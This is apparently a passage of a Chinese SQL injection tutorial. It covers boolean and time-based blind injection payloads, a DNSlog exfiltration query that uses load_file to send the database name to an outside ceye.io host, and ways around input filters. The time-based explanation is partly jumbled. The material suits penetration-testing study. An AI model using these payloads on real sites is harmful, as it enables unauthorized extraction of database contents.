SQL初步注入

十二.伪静态注入

伪静态的网站一般在url中存在数字

十三.盲注(布尔型SQL盲注、时间型SQL盲注)

1.布尔型盲注

复制代码
vince' and  ascii(substr(database(),1,1))=112#'

通过这个方法,就能得到后台数据库的名称的第一个字符的 ascii码,不断测试得出数据库名称

布尔型盲注基本都是通过ascii码来测试的

2.时间型盲注

基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测 vince' and if(substr(database(),1,1)='p',sleep(10),null)# ,在web控制台下,判断出 点)',sleep(10),null# ,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输 入: database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解

时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果

十四.DNSlog注入

条件:

1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。

2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \<www.jaden.com> 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行 DNSlog注入

复制代码
select * from member where id=1 and (select load_file(concat('\\\\',(select  database()),'.9fqiop.ceye.io\\abc')))
复制代码
工具:
​
https://github.com/ADOOO/DnslogSqlinj
​
​

十五.SQL工具测试

萝卜头(了解)

Pangolin(穿山甲)

sqlmap(重点)

十六.防御绕过

前端绕过

bp抓包修改后再放包即可绕过

后端绕过

情况一绕过:大小写绕过:SELECT * FROM USERS;

情况二绕过:双写:selselectect * from users; 其实str_replace只替换了一次select还剩下一个select

情况三:强防御,这种的很难绕过了,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时 候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话 就不会进行intval()的加工,就可以尝试其他注入手法。

情况四:开启了魔术符号转义功能,这种的参看我们前面说的宽字节注入、二次注入等

相关推荐
SPC的存折8 分钟前
6、MySQL设置TLS加密访问
linux·运维·服务器·数据库·mysql
老苏畅谈运维8 分钟前
DBA分析 ORA 报错的利器,errorstack让 Oracle 错误现原形
数据库·oracle·dba
紫青宝剑35 分钟前
向量数据库 Milvus
数据库·milvus
雪碧聊技术37 分钟前
数据库系统基础知识
数据库
Elastic 中国社区官方博客37 分钟前
如何使用 LogsDB 降低 Elasticsearch 日志存储成本
大数据·运维·数据库·elasticsearch·搜索引擎·全文检索·可用性测试
Dreamboat-L37 分钟前
HBase远程访问配置(详细教程)
大数据·数据库·hbase
刘~浪地球39 分钟前
数据库与缓存--Redis 集群架构与优化
数据库·redis·缓存
羊小蜜.41 分钟前
Mysql 11: 存储过程全解——从创建到使用
android·数据库·mysql·存储过程
A__tao41 分钟前
一键实现 SQL 转 Elasticsearch Mapping(支持字段注释 + meta 描述)
数据库·sql·elasticsearch
努力努力再努力wz1 小时前
【C++高阶系列】外存查找的极致艺术:数据库偏爱的B+树底层架构剖析与C++完整实现!(附B+树实现的源码)
linux·运维·服务器·数据结构·数据库·c++·b树